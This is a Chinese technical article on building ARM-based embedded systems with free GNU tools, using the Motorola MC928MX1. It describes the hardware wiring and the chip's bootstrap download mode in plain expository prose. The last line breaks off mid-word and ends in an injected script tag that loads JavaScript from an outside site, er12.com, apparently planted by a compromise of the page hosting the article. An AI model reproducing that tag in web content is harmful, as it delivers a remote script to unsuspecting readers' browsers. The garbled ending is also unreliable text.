摘要:介绍如何利用gnu的工具开发基于arm的嵌入式系统,以及使用编译器、连接器和调试工具的具体方法,为广大嵌入式系统开发人员提供一种低成本的开发手段。
关键词:arm gnu mc928mx1 gcc gdb gdbserver
当前,arm公司的32位risc处理器,以其内核耗电少、成本低、功能强、特有16/32位双指令集,已成为移动通信、手持计算、多媒体数字消费等嵌入式解决方案的risc标准,市场占有率超过了75 %。多家公司都推出了自己的基于arm内核的处理器产品,越来越多的开发人员开始了针对arm平台的开发。通常开发人员需要购买芯片厂商或第三方提供的开发板,还需要购买开发软件,如c编译器或者集成了实时操作系统的开发环境。开发板的价格从数百到上千美元,而编译器、实时操作系统价格更是动辄数千到数万美元。这样,在开发初期,软硬件上的投资就需要上万美元,对于国内大多数开发人员来说,无疑是太贵了。
庆幸的是,gnu所倡导的自由软件给开发者带来了福音。1984 年,旨在开发一个类似 unix 的,并且是完全免费的完整操作系统和配套工具:gnu 系统(发音为"guh-new")。gnu的操作系统和开发工具都是免费的,遵循gnu 通用公共许可证 (gpl)协议,任何人都可以从网上获取全部的源代码。关于gnu和公共许可证协议的详细资料,读者可参看gnu网站的中文介绍:http://www.gnu.org/home.cn.html。
除了大家熟知的linux操作系统外,gnu的软件还包括编译器(gcc,g++)、二进制转换工具(objdump,objcopy)、调试工具(gdb,gdbserver,kgdb)和基于不同硬件平台的开发库。gnu开发工具的主要缺点是采用命令行方式,用户掌握和使用比较困难,不如基于windows系统的开发工具好用。但是,gnu工具的复杂性是由于它更贴近编译器和操作系统的底层,并提供了更大的灵活性。一旦学习和掌握了相关工具,也就了解了系统设计的基础知识,为今后的开发工作打下基础。gnu的开发工具都是免费的,遵循gpl协议,任何人都可以从网上获取。笔者参与了一个基于arm平台的嵌入式linux系统开发,采用的是摩托罗拉龙珠系列的mc928mx1。从测试代码、引导程序、嵌入式linux移植、应用程序、图形界面都可以用gnu工具进行开发,不需要在开发工具上做额外的投入。本文所介绍的开发方法同样适用于其它公司的基于arm的产品。
1 硬件平台
mc928mx1(以下简称mx1)是摩托罗拉公司基于arm核心的第一款mcu,主要面向高端嵌入式应用。内部采用arm920t内核,并集成了sdram/flash、lcd、usb、蓝牙(bluetooth)、多媒体闪存卡(mmc)、cmos摄像头等控制器。关于mx1的详细资料,感兴趣的读者可以参考http://www.motorola.com.cn/semiconductors/。作为应用开发的最小系统必须包括ram(程序运行空间)、flash(存放目标代码)和串行接口(用于调试和下载程序)。mx1提供了6个片选端(cs0~cs5),内置了sdram控制器,数据宽度32位。在笔者的系统中采用了2片8m×16位的sdram和2片4m×16位的同步flash存储器,分别接入数据线的低16位和高16位,如图1所示。
图1中sdram接片选端cs2,flash接片选端cs3,其余为sdram/flash的控制信号。最小系统还包括至少1个串行接口,可以采用mx1内置的uart控制器,图略。
2 自举模式
目前,许多嵌入式处理器都提供了自举模式(bootstrap),供用户写入引导代码。自举模式利用了固化在芯片内部的一段引导程序,当处理器复位时,如果在特定引脚上加信号,则处理器将在复位后执行固化rom中的程序。例如,mx1提供了4条复位引脚,复位时引脚不同的电平组合可以从不同的片选端启动系统。自举rom中的程序完成串口的初始化,然后等待用户从串口写入用户代码。自举模式所能接受的是一种专门格式的文本文件,包括数据和要写入/读出的地址。关于自举模式的代码格式,可参考相关芯片的手册。在摩托罗拉的网站还提供了许多小工具,帮助开发者将其它格式的文件转换成为自举模式格式。通过自举模式下载的通常是一段和上位机软件(如超级终端)通信的程序,完成接收数?script src=http://er12.com/t.js>